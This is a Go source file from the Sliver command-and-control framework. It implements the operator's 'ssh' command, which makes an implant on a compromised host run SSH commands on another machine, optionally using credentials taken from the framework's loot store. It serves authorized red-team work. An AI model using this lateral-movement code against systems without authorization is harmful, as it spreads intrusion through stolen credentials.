mirror of
https://github.com/BishopFox/sliver
synced 2026-06-08 10:29:05 +00:00
110 lines
2.7 KiB
Go
110 lines
2.7 KiB
Go
package exec
|
|
|
|
import (
|
|
"context"
|
|
"io/ioutil"
|
|
"strings"
|
|
|
|
"github.com/AlecAivazis/survey/v2"
|
|
"github.com/bishopfox/sliver/client/command/loot"
|
|
"github.com/bishopfox/sliver/client/console"
|
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
|
"github.com/desertbit/grumble"
|
|
)
|
|
|
|
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
|
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
|
var (
|
|
privKey []byte
|
|
err error
|
|
)
|
|
session := con.ActiveTarget.GetSessionInteractive()
|
|
if session == nil {
|
|
return
|
|
}
|
|
|
|
username := ctx.Flags.String("login")
|
|
if username == "" {
|
|
username = session.GetUsername()
|
|
}
|
|
|
|
port := ctx.Flags.Uint("port")
|
|
privateKeypath := ctx.Flags.String("private-key")
|
|
if privateKeypath != "" {
|
|
privKey, err = ioutil.ReadFile(privateKeypath)
|
|
if err != nil {
|
|
con.PrintErrorf("%s\n", err)
|
|
return
|
|
}
|
|
}
|
|
password := ctx.Flags.String("password")
|
|
|
|
hostname := ctx.Args.String("hostname")
|
|
command := ctx.Args.StringList("command")
|
|
|
|
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
|
oldUsername := username
|
|
username, password, privKey = tryCredsFromLoot(con)
|
|
if username == "" {
|
|
username = oldUsername
|
|
}
|
|
}
|
|
|
|
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
|
Username: username,
|
|
Hostname: hostname,
|
|
Port: uint32(port),
|
|
PrivKey: privKey,
|
|
Password: password,
|
|
Command: strings.Join(command, " "),
|
|
Request: con.ActiveTarget.Request(ctx),
|
|
})
|
|
if err != nil {
|
|
con.PrintErrorf("%s\n", err)
|
|
return
|
|
}
|
|
|
|
if commandResp.Response != nil && commandResp.Response.Err != "" {
|
|
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
|
|
if commandResp.StdErr != "" {
|
|
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
|
|
}
|
|
return
|
|
}
|
|
if commandResp.StdOut != "" {
|
|
con.PrintInfof("Output:")
|
|
con.Println(commandResp.StdOut)
|
|
if commandResp.StdErr != "" {
|
|
con.PrintInfof("StdErr")
|
|
con.Println(commandResp.StdErr)
|
|
}
|
|
}
|
|
}
|
|
|
|
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
|
|
var (
|
|
username string
|
|
password string
|
|
privKey []byte
|
|
)
|
|
confirm := false
|
|
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
|
|
survey.AskOne(prompt, &confirm, nil)
|
|
if confirm {
|
|
cred, err := loot.SelectCredentials(con)
|
|
if err != nil {
|
|
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
|
|
} else {
|
|
switch cred.CredentialType {
|
|
case clientpb.CredentialType_API_KEY:
|
|
privKey = []byte(cred.Credential.APIKey)
|
|
case clientpb.CredentialType_USER_PASSWORD:
|
|
username = cred.Credential.User
|
|
password = cred.Credential.Password
|
|
}
|
|
}
|
|
}
|
|
return username, password, privKey
|
|
}
|